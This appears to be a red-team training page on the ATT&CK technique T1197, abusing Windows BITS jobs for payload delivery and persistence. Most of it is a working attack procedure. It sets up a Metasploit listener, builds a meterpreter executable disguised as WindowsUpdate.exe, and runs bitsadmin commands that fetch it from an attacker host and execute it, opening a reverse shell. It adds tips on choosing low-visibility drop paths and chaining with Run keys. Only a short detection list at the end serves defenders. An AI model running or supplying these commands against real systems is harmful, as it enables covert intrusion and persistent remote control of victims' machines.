Skip to main content

T1197: BITS Jobs

Technique Requirements​

Privileges RequiredUser
Effective PermissionsUser that created the job
Triggered ByBITS download completion
Execution FrequencyOnly after first trigger - must manually retrigger
Employment Complexity2/5 - Low
Detection Complexity3/5 - Medium

Background​

Background Intelligent Transfer Service (BITS) is a service in Windows that manages background file downloads and uploads to or from HTTP servers and SMB shares, typically used for applications like Windows Update. Attackers exploit BITS by scheduling malicious file downloads or uploads, effectively bypassing firewalls as BITS is a trusted service. The /SetNotifyCmdLine flag in BITS commands allows for the execution of a program when a BITS job reaches a transitory state. This feature can be abused by attackers to achieve persistence, as it allows them to execute malicious scripts or programs directly after a file transfer is done, retrieve additional payloads, or exfiltrate data while mimicking normal network traffic.

Why BITS is useful:

  • BITS transfers occur over standard HTTP/HTTPS and are performed by the BITS service process (svchost.exe), not by your shell - the outbound connection does not originate from a suspicious process
  • BITS jobs survive system reboots and will resume automatically if interrupted
  • BITS activity is rarely monitored by analysts compared to typical process-based download methods
  • The /SetNotifyCmdLine execution happens after the download completes, decoupling the download from the execution in time

Limitation: BITS-based persistence is a one-shot mechanism - the notification command runs once after job completion. To re-trigger it, you must manually create a new BITS job (e.g., by re-running the setup commands). This makes BITS more useful for payload delivery and initial execution than for long-term recurring persistence. Combine it with a secondary persistence mechanism for reliability.

Procedures​

The following actions outline this example persistence/delivery plan:

  • A Metasploit payload listener will be configured on attacker infrastructure
  • A malicious executable will be generated and hosted on the attacker's HTTP server
  • A BITS job will be created on the victim to download the executable from the attacker's HTTP server
  • A BITS notification command will be configured to execute the downloaded payload after the transfer completes
  • The BITS job will be resumed, triggering the download and eventual execution

  1. Configure payload listener: On your Kali VM, start a Metasploit listener that will catch the incoming callback:

    msfconsole -x "use exploit/multi/handler;
    set payload windows/x64/meterpreter/reverse_https;
    set LHOST 0.0.0.0;
    set LPORT 443;
    run -j;"

  2. Generate a malicious executable: Use msfvenom to produce a standard Windows EXE that beacons back to your listener:

    ATTACKER_IP="<ATTACKER_IP>"
    msfvenom -p windows/x64/meterpreter/reverse_https LHOST="${ATTACKER_IP}" LPORT=443 \
        -f exe -o WindowsUpdate.exe

  3. Host the executable: Serve it over HTTP from the same directory on your Kali VM:

    python3 -m http.server 8080

  4. Create the BITS job on the victim system: The job will download the executable from your HTTP server to a local path on the victim, then execute it automatically upon download completion.

    set ATTACKER_IP=<ATTACKER_IP>
    set JOB_NAME=WindowsUpdateJob
    set LOCAL_PATH=C:\ProgramData\WindowsUpdate.exe

    bitsadmin /create %JOB_NAME%
    bitsadmin /addfile %JOB_NAME% http://%ATTACKER_IP%:8080/WindowsUpdate.exe %LOCAL_PATH%
    bitsadmin /SetNotifyCmdLine %JOB_NAME% %LOCAL_PATH% NULL
    bitsadmin /resume %JOB_NAME%

    Note on SetNotifyCmdLine: The second argument is the executable to run; the third is its arguments. Use NULL (literal string) to pass no arguments.

    Storage path guidance: Drop the payload somewhere that won't raise flags - C:\ProgramData\, C:\Windows\Temp\, or user AppData directories work. Avoid C:\Users\<user>\Desktop\ and other high-visibility paths.

  5. Re-triggering: After the first job completes, re-create the job to trigger execution again:

    bitsadmin /create %JOB_NAME%
    bitsadmin /addfile %JOB_NAME% http://%ATTACKER_IP%:8080/WindowsUpdate.exe %LOCAL_PATH%
    bitsadmin /SetNotifyCmdLine %JOB_NAME% %LOCAL_PATH% NULL
    bitsadmin /resume %JOB_NAME%
    tip

    For true recurring persistence, combine BITS (for delivery/re-download) with a Registry Run key or Scheduled Task that re-creates and resumes the BITS job on each logon. This way BITS re-downloads a fresh payload on every login, and the Run/Task key ensures the job is always queued.

What to Expect​

After /resume, BITS begins the download in the background. You can watch progress with:

bitsadmin /list /allusers /verbose

Once the download completes, BITS executes the notification command (WindowsUpdate.exe). Your Metasploit listener will catch the callback:

msf6 exploit(multi/handler) > [*] Sending stage (201798 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (0.0.0.0:443 -> 192.168.1.100:52841) at 2026-03-21 09:14:22

The session opens in the context of the user who created the BITS job. The download itself will appear in BITS logs as a job with a mundane-looking URL, and the executing process will be a child of the BITS service rather than your shell - giving the activity a more legitimate appearance in process trees.

Log Detection​

  • Source: Microsoft-Windows-Sysmon/Operational
    • EventID:1 (ProcessCreate)
      • Contains process command-line
  • Source: Microsoft-Windows-Bits-Client/Operational
    • EventID:3 (New BITS job)
      • Contains job name, user, and process
    • EventID:4 (Job complete)
      • Contains job name, user, ID, and URL
    • EventID:59 (Transfer started)
      • Contains job name, user, ID, and URL
    • EventID:60 (Transfer stopped - completed)
      • Contains job name, user, ID, and URL
    • EventID:61 (Transfer stopped - could not connect)
      • Contains job name, user, and process